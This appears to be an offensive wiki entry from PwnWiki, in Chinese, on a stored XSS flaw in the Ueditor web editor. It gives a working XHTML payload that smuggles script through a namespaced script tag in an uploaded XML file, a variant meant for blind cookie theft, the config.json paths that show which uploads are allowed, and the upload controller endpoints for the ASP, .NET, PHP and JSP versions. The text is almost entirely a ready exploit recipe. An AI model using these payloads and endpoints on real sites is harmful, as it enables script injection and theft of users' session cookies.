Ueditor 存儲型XSS漏洞
From PwnWiki
POC
<html> <head></head> <body> <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script> </body> </html> 盲打Cookie、src=""： <something:script src="" xmlns:something="http://www.w3.org/1999/xhtml"></something:script>
Ueditor 默認支持上傳 xml ：config.json可以查看支持上傳的後綴
/ueditor/asp/config.json /ueditor/net/config.json /ueditor/php/config.json /ueditor/jsp/config.json
上傳文件路徑
/ueditor/index.html /ueditor/asp/controller.asp?action=uploadimage /ueditor/asp/controller.asp?action=uploadfile /ueditor/net/controller.ashx?action=uploadimage /ueditor/net/controller.ashx?action=uploadfile /ueditor/php/controller.php?action=uploadfile /ueditor/php/controller.php?action=uploadimage /ueditor/jsp/controller.jsp?action=uploadfile /ueditor/jsp/controller.jsp?action=uploadimag
